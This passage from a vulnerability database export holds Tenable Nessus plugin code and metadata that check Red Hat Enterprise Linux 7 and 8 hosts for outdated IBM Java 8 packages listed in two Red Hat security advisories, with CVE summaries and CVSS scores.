'rhel-8-for-x86_64-sap-netweaver-eus-source-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-source-rpms'\n ],\n 'enterprise_linux_8_sap_hana': [\n 'rhel-8-for-x86_64-sap-solutions-debug-rpms',\n 'rhel-8-for-x86_64-sap-solutions-e4s-debug-rpms',\n 'rhel-8-for-x86_64-sap-solutions-e4s-rpms',\n 'rhel-8-for-x86_64-sap-solutions-e4s-source-rpms',\n 'rhel-8-for-x86_64-sap-solutions-eus-debug-rpms',\n 'rhel-8-for-x86_64-sap-solutions-eus-rpms',\n 'rhel-8-for-x86_64-sap-solutions-eus-source-rpms',\n 'rhel-8-for-x86_64-sap-solutions-rpms',\n 'rhel-8-for-x86_64-sap-solutions-source-rpms'\n ],\n 'enterprise_linux_8_supplementary': [\n 'rhel-8-for-aarch64-supplementary-eus-rpms',\n 'rhel-8-for-aarch64-supplementary-eus-source-rpms',\n 'rhel-8-for-aarch64-supplementary-rpms',\n 'rhel-8-for-aarch64-supplementary-source-rpms',\n 'rhel-8-for-s390x-supplementary-eus-rpms',\n 'rhel-8-for-s390x-supplementary-eus-source-rpms',\n 'rhel-8-for-s390x-supplementary-rpms',\n 'rhel-8-for-s390x-supplementary-source-rpms',\n 'rhel-8-for-x86_64-supplementary-eus-rpms',\n 'rhel-8-for-x86_64-supplementary-eus-source-rpms',\n 'rhel-8-for-x86_64-supplementary-rpms',\n 'rhel-8-for-x86_64-supplementary-source-rpms'\n ]\n};\n\nfound_repos = NULL;\nhost_repo_list = get_kb_list('Host/RedHat/repo-list/*');\nif (!(empty_or_null(host_repo_list))) {\n found_repos = make_list();\n foreach repo_key (keys(repositories)) {\n foreach repo ( repositories[repo_key] ) {\n if (get_kb_item('Host/RedHat/repo-list/' + repo)) {\n append_element(var:found_repos, value:repo_key);\n break;\n }\n }\n }\n if(empty_or_null(found_repos)) audit(AUDIT_RHSA_NOT_AFFECTED, 'RHSA-2021:0736');\n}\n\npkgs = [\n {'reference':'java-1.8.0-ibm-1.8.0.6.25-2.el8_3', 'cpu':'s390x', 'release':'8', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_8_appstream', 'enterprise_linux_8_baseos', 'enterprise_linux_8_crb', 'enterprise_linux_8_highavailability', 'enterprise_linux_8_nfv', 'enterprise_linux_8_realtime', 'enterprise_linux_8_resilientstorage', 'enterprise_linux_8_sap', 'enterprise_linux_8_sap_hana', 'enterprise_linux_8_supplementary']},\n {'reference':'java-1.8.0-ibm-1.8.0.6.25-2.el8_3', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_8_appstream', 'enterprise_linux_8_baseos', 'enterprise_linux_8_crb', 'enterprise_linux_8_highavailability', 'enterprise_linux_8_nfv', 'enterprise_linux_8_realtime', 'enterprise_linux_8_resilientstorage', 'enterprise_linux_8_sap', 'enterprise_linux_8_sap_hana', 'enterprise_linux_8_supplementary']},\n {'reference':'java-1.8.0-ibm-demo-1.8.0.6.25-2.el8_3', 'cpu':'s390x', 'release':'8', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_8_appstream', 'enterprise_linux_8_baseos', 'enterprise_linux_8_crb', 'enterprise_linux_8_highavailability', 'enterprise_linux_8_nfv', 'enterprise_linux_8_realtime', 'enterprise_linux_8_resilientstorage', 'enterprise_linux_8_sap', 'enterprise_linux_8_sap_hana', 'enterprise_linux_8_supplementary']},\n {'reference':'java-1.8.0-ibm-demo-1.8.0.6.25-2.el8_3', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_8_appstream', 'enterprise_linux_8_baseos', 'enterprise_linux_8_crb', 'enterprise_linux_8_highavailability', 'enterprise_linux_8_nfv', 'enterprise_linux_8_realtime', 'enterprise_linux_8_resilientstorage', 'enterprise_linux_8_sap', 'enterprise_linux_8_sap_hana', 'enterprise_linux_8_supplementary']},\n {'reference':'java-1.8.0-ibm-devel-1.8.0.6.25-2.el8_3', 'cpu':'s390x', 'release':'8', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_8_appstream', 'enterprise_linux_8_baseos', 'enterprise_linux_8_crb', 'enterprise_linux_8_highavailability', 'enterprise_linux_8_nfv', 'enterprise_linux_8_realtime', 'enterprise_linux_8_resilientstorage', 'enterprise_linux_8_sap', 'enterprise_linux_8_sap_hana', 'enterprise_linux_8_supplementary']},\n {'reference':'java-1.8.0-ibm-devel-1.8.0.6.25-2.el8_3', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_8_appstream', 'enterprise_linux_8_baseos', 'enterprise_linux_8_crb', 'enterprise_linux_8_highavailability', 'enterprise_linux_8_nfv', 'enterprise_linux_8_realtime', 'enterprise_linux_8_resilientstorage', 'enterprise_linux_8_sap', 'enterprise_linux_8_sap_hana', 'enterprise_linux_8_supplementary']},\n {'reference':'java-1.8.0-ibm-headless-1.8.0.6.25-2.el8_3', 'cpu':'s390x', 'release':'8', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_8_appstream', 'enterprise_linux_8_baseos', 'enterprise_linux_8_crb', 'enterprise_linux_8_highavailability', 'enterprise_linux_8_nfv', 'enterprise_linux_8_realtime', 'enterprise_linux_8_resilientstorage', 'enterprise_linux_8_sap', 'enterprise_linux_8_sap_hana', 'enterprise_linux_8_supplementary']},\n {'reference':'java-1.8.0-ibm-headless-1.8.0.6.25-2.el8_3', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_8_appstream', 'enterprise_linux_8_baseos', 'enterprise_linux_8_crb', 'enterprise_linux_8_highavailability', 'enterprise_linux_8_nfv', 'enterprise_linux_8_realtime', 'enterprise_linux_8_resilientstorage', 'enterprise_linux_8_sap', 'enterprise_linux_8_sap_hana', 'enterprise_linux_8_supplementary']},\n {'reference':'java-1.8.0-ibm-jdbc-1.8.0.6.25-2.el8_3', 'cpu':'s390x', 'release':'8', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_8_appstream', 'enterprise_linux_8_baseos', 'enterprise_linux_8_crb', 'enterprise_linux_8_highavailability', 'enterprise_linux_8_nfv', 'enterprise_linux_8_realtime', 'enterprise_linux_8_resilientstorage', 'enterprise_linux_8_sap', 'enterprise_linux_8_sap_hana', 'enterprise_linux_8_supplementary']},\n {'reference':'java-1.8.0-ibm-jdbc-1.8.0.6.25-2.el8_3', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_8_appstream', 'enterprise_linux_8_baseos', 'enterprise_linux_8_crb', 'enterprise_linux_8_highavailability', 'enterprise_linux_8_nfv', 'enterprise_linux_8_realtime', 'enterprise_linux_8_resilientstorage', 'enterprise_linux_8_sap', 'enterprise_linux_8_sap_hana', 'enterprise_linux_8_supplementary']},\n {'reference':'java-1.8.0-ibm-plugin-1.8.0.6.25-2.el8_3', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_8_appstream', 'enterprise_linux_8_baseos', 'enterprise_linux_8_crb', 'enterprise_linux_8_highavailability', 'enterprise_linux_8_nfv', 'enterprise_linux_8_realtime', 'enterprise_linux_8_resilientstorage', 'enterprise_linux_8_sap', 'enterprise_linux_8_sap_hana', 'enterprise_linux_8_supplementary']},\n {'reference':'java-1.8.0-ibm-src-1.8.0.6.25-2.el8_3', 'cpu':'s390x', 'release':'8', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_8_appstream', 'enterprise_linux_8_baseos', 'enterprise_linux_8_crb', 'enterprise_linux_8_highavailability', 'enterprise_linux_8_nfv', 'enterprise_linux_8_realtime', 'enterprise_linux_8_resilientstorage', 'enterprise_linux_8_sap', 'enterprise_linux_8_sap_hana', 'enterprise_linux_8_supplementary']},\n {'reference':'java-1.8.0-ibm-src-1.8.0.6.25-2.el8_3', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_8_appstream', 'enterprise_linux_8_baseos', 'enterprise_linux_8_crb', 'enterprise_linux_8_highavailability', 'enterprise_linux_8_nfv', 'enterprise_linux_8_realtime', 'enterprise_linux_8_resilientstorage', 'enterprise_linux_8_sap', 'enterprise_linux_8_sap_hana', 'enterprise_linux_8_supplementary']},\n {'reference':'java-1.8.0-ibm-webstart-1.8.0.6.25-2.el8_3', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_8_appstream', 'enterprise_linux_8_baseos', 'enterprise_linux_8_crb', 'enterprise_linux_8_highavailability', 'enterprise_linux_8_nfv', 'enterprise_linux_8_realtime', 'enterprise_linux_8_resilientstorage', 'enterprise_linux_8_sap', 'enterprise_linux_8_sap_hana', 'enterprise_linux_8_supplementary']}\n];\n\nflag = 0;\nforeach package_array ( pkgs ) {\n reference = NULL;\n release = NULL;\n sp = NULL;\n cpu = NULL;\n el_string = NULL;\n rpm_spec_vers_cmp = NULL;\n epoch = NULL;\n allowmaj = NULL;\n repo_list = NULL;\n if (!empty_or_null(package_array['repo_list'])) repo_list = package_array['repo_list'];\n if (!empty_or_null(package_array['reference'])) reference = package_array['reference'];\n if (!empty_or_null(package_array['release'])) release = 'RHEL' + package_array['release'];\n if (!empty_or_null(package_array['sp'])) sp = package_array['sp'];\n if (!empty_or_null(package_array['cpu'])) cpu = package_array['cpu'];\n if (!empty_or_null(package_array['el_string'])) el_string = package_array['el_string'];\n if (!empty_or_null(package_array['rpm_spec_vers_cmp'])) rpm_spec_vers_cmp = package_array['rpm_spec_vers_cmp'];\n if (!empty_or_null(package_array['epoch'])) epoch = package_array['epoch'];\n if (!empty_or_null(package_array['allowmaj'])) allowmaj = package_array['allowmaj'];\n if (reference && release) {\n repocheck = FALSE;\n if (empty_or_null(found_repos))\n {\n repocheck = TRUE;\n }\n else\n {\n foreach repo (repo_list) {\n if (contains_element(var:found_repos, value:repo))\n {\n repocheck = TRUE;\n break;\n }\n }\n }\n if (repocheck && rpm_check(release:release, sp:sp, cpu:cpu, reference:reference, epoch:epoch, el_string:el_string, rpm_spec_vers_cmp:rpm_spec_vers_cmp, allowmaj:allowmaj)) flag++;\n }\n}\n\nif (flag)\n{\n if (empty_or_null(host_repo_list)) extra = rpm_report_get() + redhat_report_repo_caveat();\n else extra = rpm_report_get() + redhat_report_package_caveat();\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : extra\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'java-1.8.0-ibm / java-1.8.0-ibm-demo / java-1.8.0-ibm-devel / etc');\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-25T13:49:02", "description": "The remote Redhat Enterprise Linux 7 host has packages installed that are affected by multiple vulnerabilities as\nreferenced in the RHSA-2021:0717 advisory.\n\n - OpenJDK: Credentials sent over unencrypted LDAP connection (JNDI, 8237990) (CVE-2020-14781)\n\n - OpenJDK: Certificate blacklist bypass via alternate certificate encodings (Libraries, 8237995)\n (CVE-2020-14782)\n\n - OpenJDK: Race condition in NIO Buffer boundary checks (Libraries, 8244136) (CVE-2020-14803)\n\n - IBM JDK: Stack-based buffer overflow when converting from UTF-8 characters to platform encoding\n (CVE-2020-27221)\n\n - OpenJDK: Unexpected exceptions raised by DOMKeyInfoFactory and DOMXMLSignatureFactory (Security, 8231415)\n (CVE-2020-2773)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.", "edition": 3, "cvss3": {"score": 9.8, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2021-03-05T00:00:00", "title": "RHEL 7 : java-1.8.0-ibm (RHSA-2021:0717)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-27221", "CVE-2020-14803", "CVE-2020-14782", "CVE-2020-14781", "CVE-2020-2773"], "modified": "2021-03-05T00:00:00", "cpe": ["cpe:/a:redhat:rhel_extras_sap:7", "p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm-devel", "p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm-plugin", "p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm-demo", "p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm", "cpe:/a:redhat:rhel_extras:7", "cpe:/a:redhat:rhel_extras_oracle_java:7", "cpe:/a:redhat:rhel_extras_rt:7", "cpe:/o:redhat:enterprise_linux:7", "cpe:/a:redhat:rhel_extras_sap_hana:7", "p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm-jdbc", "p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm-src"], "id": "REDHAT-RHSA-2021-0717.NASL", "href": "https://www.tenable.com/plugins/nessus/147140", "sourceData": "##\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Red Hat Security Advisory RHSA-2021:0717. The text\n# itself is copyright (C) Red Hat, Inc.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(147140);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/03/24\");\n\n script_cve_id(\n \"CVE-2020-2773\",\n \"CVE-2020-14781\",\n \"CVE-2020-14782\",\n \"CVE-2020-14803\",\n \"CVE-2020-27221\"\n );\n script_xref(name:\"RHSA\", value:\"2021:0717\");\n\n script_name(english:\"RHEL 7 : java-1.8.0-ibm (RHSA-2021:0717)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Red Hat host is missing one or more security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Redhat Enterprise Linux 7 host has packages installed that are affected by multiple vulnerabilities as\nreferenced in the RHSA-2021:0717 advisory.\n\n - OpenJDK: Credentials sent over unencrypted LDAP connection (JNDI, 8237990) (CVE-2020-14781)\n\n - OpenJDK: Certificate blacklist bypass via alternate certificate encodings (Libraries, 8237995)\n (CVE-2020-14782)\n\n - OpenJDK: Race condition in NIO Buffer boundary checks (Libraries, 8244136) (CVE-2020-14803)\n\n - IBM JDK: Stack-based buffer overflow when converting from UTF-8 characters to platform encoding\n (CVE-2020-27221)\n\n - OpenJDK: Unexpected exceptions raised by DOMKeyInfoFactory and DOMXMLSignatureFactory (Security, 8231415)\n (CVE-2020-2773)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/119.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/248.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/295.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/319.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/367.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-2773\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-14781\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-14782\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-14803\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-27221\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/errata/RHSA-2021:0717\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1823224\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1889274\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1889290\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1889895\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1928555\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-27221\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_cwe_id(119, 248, 295, 319, 367);\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/04/14\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/03/04\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/03/05\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:7\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:redhat:rhel_extras:7\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:redhat:rhel_extras_oracle_java:7\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:redhat:rhel_extras_rt:7\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:redhat:rhel_extras_sap:7\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:redhat:rhel_extras_sap_hana:7\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm-demo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm-jdbc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm-plugin\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm-src\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude('audit.inc');\ninclude('global_settings.inc');\ninclude('misc_func.inc');\ninclude('rpm.inc');\ninclude('rhel.inc');\n\nif (!get_kb_item('Host/local_checks_enabled')) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item('Host/RedHat/release');\nif (isnull(release) || 'Red Hat' >!< release) audit(AUDIT_OS_NOT, 'Red Hat');\nos_ver = pregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, 'Red Hat');\nos_ver = os_ver[1];\nif (!rhel_check_release(operator: 'ge', os_version: os_ver, rhel_version: '7')) audit(AUDIT_OS_NOT, 'Red Hat 7.x', 'Red Hat ' + os_ver);\n\nif (!get_kb_item('Host/RedHat/rpm-list')) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item('Host/cpu');\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif ('x86_64' >!< cpu && cpu !~ \"^i[3-6]86$\" && 's390' >!< cpu && 'aarch64' >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, 'Red Hat', cpu);\n\nrepositories = {\n 'enterprise_linux_7_client': [\n 'rhel-7-desktop-debug-rpms',\n 'rhel-7-desktop-fastrack-debug-rpms',\n 'rhel-7-desktop-fastrack-rpms',\n 'rhel-7-desktop-fastrack-source-rpms',\n 'rhel-7-desktop-optional-debug-rpms',\n 'rhel-7-desktop-optional-fastrack-debug-rpms',\n 'rhel-7-desktop-optional-fastrack-rpms',\n 'rhel-7-desktop-optional-fastrack-source-rpms',\n 'rhel-7-desktop-optional-rpms',\n 'rhel-7-desktop-optional-source-rpms',\n 'rhel-7-desktop-rpms',\n 'rhel-7-desktop-source-rpms'\n ],\n 'enterprise_linux_7_computenode': [\n 'rhel-7-for-hpc-node-fastrack-debug-rpms',\n 'rhel-7-for-hpc-node-fastrack-rpms',\n 'rhel-7-for-hpc-node-fastrack-source-rpms',\n 'rhel-7-for-hpc-node-optional-fastrack-debug-rpms',\n 'rhel-7-for-hpc-node-optional-fastrack-rpms',\n 'rhel-7-for-hpc-node-optional-fastrack-source-rpms',\n 'rhel-7-hpc-node-debug-rpms',\n 'rhel-7-hpc-node-optional-debug-rpms',\n 'rhel-7-hpc-node-optional-rpms',\n 'rhel-7-hpc-node-optional-source-rpms',\n 'rhel-7-hpc-node-rpms',\n 'rhel-7-hpc-node-source-rpms'\n ],\n 'enterprise_linux_7_server': [\n 'rhel-7-for-system-z-a-debug-rpms',\n 'rhel-7-for-system-z-a-optional-debug-rpms',\n 'rhel-7-for-system-z-a-optional-rpms',\n 'rhel-7-for-system-z-a-optional-source-rpms',\n 'rhel-7-for-system-z-a-rpms',\n 'rhel-7-for-system-z-a-source-rpms',\n 'rhel-7-for-system-z-debug-rpms',\n 'rhel-7-for-system-z-fastrack-debug-rpms',\n 'rhel-7-for-system-z-fastrack-rpms',\n 'rhel-7-for-system-z-fastrack-source-rpms',\n 'rhel-7-for-system-z-optional-debug-rpms',\n 'rhel-7-for-system-z-optional-fastrack-debug-rpms',\n 'rhel-7-for-system-z-optional-fastrack-rpms',\n 'rhel-7-for-system-z-optional-fastrack-source-rpms',\n 'rhel-7-for-system-z-optional-rpms',\n 'rhel-7-for-system-z-optional-source-rpms',\n 'rhel-7-for-system-z-rpms',\n 'rhel-7-for-system-z-source-rpms',\n 'rhel-7-server-debug-rpms',\n 'rhel-7-server-fastrack-debug-rpms',\n 'rhel-7-server-fastrack-rpms',\n 'rhel-7-server-fastrack-source-rpms',\n 'rhel-7-server-optional-debug-rpms',\n 'rhel-7-server-optional-fastrack-debug-rpms',\n 'rhel-7-server-optional-fastrack-rpms',\n 'rhel-7-server-optional-fastrack-source-rpms',\n 'rhel-7-server-optional-rpms',\n 'rhel-7-server-optional-source-rpms',\n 'rhel-7-server-rpms',\n 'rhel-7-server-source-rpms',\n 'rhel-ha-for-rhel-7-for-system-z-debug-rpms',\n 'rhel-ha-for-rhel-7-for-system-z-rpms',\n 'rhel-ha-for-rhel-7-for-system-z-source-rpms',\n 'rhel-ha-for-rhel-7-server-debug-rpms',\n 'rhel-ha-for-rhel-7-server-rpms',\n 'rhel-ha-for-rhel-7-server-source-rpms',\n 'rhel-rs-for-rhel-7-for-system-z-debug-rpms',\n 'rhel-rs-for-rhel-7-for-system-z-rpms',\n 'rhel-rs-for-rhel-7-for-system-z-source-rpms',\n 'rhel-rs-for-rhel-7-server-debug-rpms',\n 'rhel-rs-for-rhel-7-server-rpms',\n 'rhel-rs-for-rhel-7-server-source-rpms'\n ],\n 'enterprise_linux_7_workstation': [\n 'rhel-7-workstation-debug-rpms',\n 'rhel-7-workstation-fastrack-debug-rpms',\n 'rhel-7-workstation-fastrack-rpms',\n 'rhel-7-workstation-fastrack-source-rpms',\n 'rhel-7-workstation-optional-debug-rpms',\n 'rhel-7-workstation-optional-fastrack-debug-rpms',\n 'rhel-7-workstation-optional-fastrack-rpms',\n 'rhel-7-workstation-optional-fastrack-source-rpms',\n 'rhel-7-workstation-optional-rpms',\n 'rhel-7-workstation-optional-source-rpms',\n 'rhel-7-workstation-rpms',\n 'rhel-7-workstation-source-rpms'\n ],\n 'rhel_extras_7': [\n 'rhel-7-desktop-supplementary-rpms',\n 'rhel-7-desktop-supplementary-source-rpms',\n 'rhel-7-for-hpc-node-supplementary-rpms',\n 'rhel-7-for-hpc-node-supplementary-source-rpms',\n 'rhel-7-for-system-z-eus-supplementary-rpms',\n 'rhel-7-for-system-z-eus-supplementary-source-rpms',\n 'rhel-7-for-system-z-supplementary-debug-rpms',\n 'rhel-7-for-system-z-supplementary-rpms',\n 'rhel-7-for-system-z-supplementary-source-rpms',\n 'rhel-7-hpc-node-eus-supplementary-rpms',\n 'rhel-7-server-eus-supplementary-rpms',\n 'rhel-7-server-supplementary-rpms',\n 'rhel-7-server-supplementary-source-rpms',\n 'rhel-7-workstation-supplementary-rpms',\n 'rhel-7-workstation-supplementary-source-rpms'\n ],\n 'rhel_extras_oracle_java_7': [\n 'rhel-7-desktop-restricted-maintenance-oracle-java-rpms',\n 'rhel-7-for-hpc-node-restricted-maintenance-oracle-java-rpms',\n 'rhel-7-hpc-node-eus-restricted-maintenance-oracle-java-rpms',\n 'rhel-7-server-eus-restricted-maintenance-oracle-java-rpms',\n 'rhel-7-server-eus-restricted-maintenance-oracle-java-source-rpms',\n 'rhel-7-server-restricted-maintenance-oracle-java-rpms',\n 'rhel-7-workstation-restricted-maintenance-oracle-java-rpms'\n ],\n 'rhel_extras_rt_7': [\n 'rhel-7-server-nfv-debug-rpms',\n 'rhel-7-server-nfv-rpms',\n 'rhel-7-server-nfv-source-rpms',\n 'rhel-7-server-rt-debug-rpms',\n 'rhel-7-server-rt-rpms',\n 'rhel-7-server-rt-source-rpms'\n ],\n 'rhel_extras_sap_7': [\n 'rhel-sap-for-rhel-7-for-system-z-debug-rpms',\n 'rhel-sap-for-rhel-7-for-system-z-eus-debug-rpms',\n 'rhel-sap-for-rhel-7-for-system-z-eus-rpms',\n 'rhel-sap-for-rhel-7-for-system-z-eus-source-rpms',\n 'rhel-sap-for-rhel-7-for-system-z-rpms',\n 'rhel-sap-for-rhel-7-for-system-z-source-rpms',\n 'rhel-sap-for-rhel-7-server-debug-rpms',\n 'rhel-sap-for-rhel-7-server-e4s-debug-rpms',\n 'rhel-sap-for-rhel-7-server-e4s-rpms',\n 'rhel-sap-for-rhel-7-server-e4s-source-rpms',\n 'rhel-sap-for-rhel-7-server-eus-debug-rpms',\n 'rhel-sap-for-rhel-7-server-eus-rpms',\n 'rhel-sap-for-rhel-7-server-eus-source-rpms',\n 'rhel-sap-for-rhel-7-server-rpms',\n 'rhel-sap-for-rhel-7-server-source-rpms'\n ],\n 'rhel_extras_sap_hana_7': [\n 'rhel-sap-hana-for-rhel-7-server-debug-rpms',\n 'rhel-sap-hana-for-rhel-7-server-e4s-debug-rpms',\n 'rhel-sap-hana-for-rhel-7-server-e4s-rpms',\n 'rhel-sap-hana-for-rhel-7-server-e4s-source-rpms',\n 'rhel-sap-hana-for-rhel-7-server-eus-debug-rpms',\n 'rhel-sap-hana-for-rhel-7-server-eus-rpms',\n 'rhel-sap-hana-for-rhel-7-server-eus-source-rpms',\n 'rhel-sap-hana-for-rhel-7-server-rpms',\n 'rhel-sap-hana-for-rhel-7-server-source-rpms'\n ]\n};\n\nfound_repos = NULL;\nhost_repo_list = get_kb_list('Host/RedHat/repo-list/*');\nif (!(empty_or_null(host_repo_list))) {\n found_repos = make_list();\n foreach repo_key (keys(repositories)) {\n foreach repo ( repositories[repo_key] ) {\n if (get_kb_item('Host/RedHat/repo-list/' + repo)) {\n append_element(var:found_repos, value:repo_key);\n break;\n }\n }\n }\n if(empty_or_null(found_repos)) audit(AUDIT_RHSA_NOT_AFFECTED, 'RHSA-2021:0717');\n}\n\npkgs = [\n {'reference':'java-1.8.0-ibm-1.8.0.6.25-1jpp.1.el7', 'cpu':'s390x', 'release':'7', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_7_client', 'enterprise_linux_7_computenode', 'enterprise_linux_7_server', 'enterprise_linux_7_workstation', 'rhel_extras_7', 'rhel_extras_oracle_java_7', 'rhel_extras_rt_7', 'rhel_extras_sap_7', 'rhel_extras_sap_hana_7']},\n {'reference':'java-1.8.0-ibm-1.8.0.6.25-1jpp.1.el7', 'cpu':'x86_64', 'release':'7', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_7_client', 'enterprise_linux_7_computenode', 'enterprise_linux_7_server', 'enterprise_linux_7_workstation', 'rhel_extras_7', 'rhel_extras_oracle_java_7', 'rhel_extras_rt_7', 'rhel_extras_sap_7', 'rhel_extras_sap_hana_7']},\n {'reference':'java-1.8.0-ibm-demo-1.8.0.6.25-1jpp.1.el7', 'cpu':'s390x', 'release':'7', 'rpm_spec_vers_cmp':TRUE, 'epoch':'1', 'repo_list':['enterprise_linux_7_client', 'enterprise_linux_7_computenode', 'enterprise_linux_7_server', 'enterprise_linux_7_workstation', 'rhel_extras_7', 'rhel_extras_oracle_java_7', 'rhel_extras_rt_7', 'rhel_extras_sap_7', 'rhel_extras_sap_hana_7']},\n {'reference':'java-1.8.0-ibm-demo-1.8.0.6.25-1jpp.1.el7', 'cpu':'x86_64', 'release':'7', 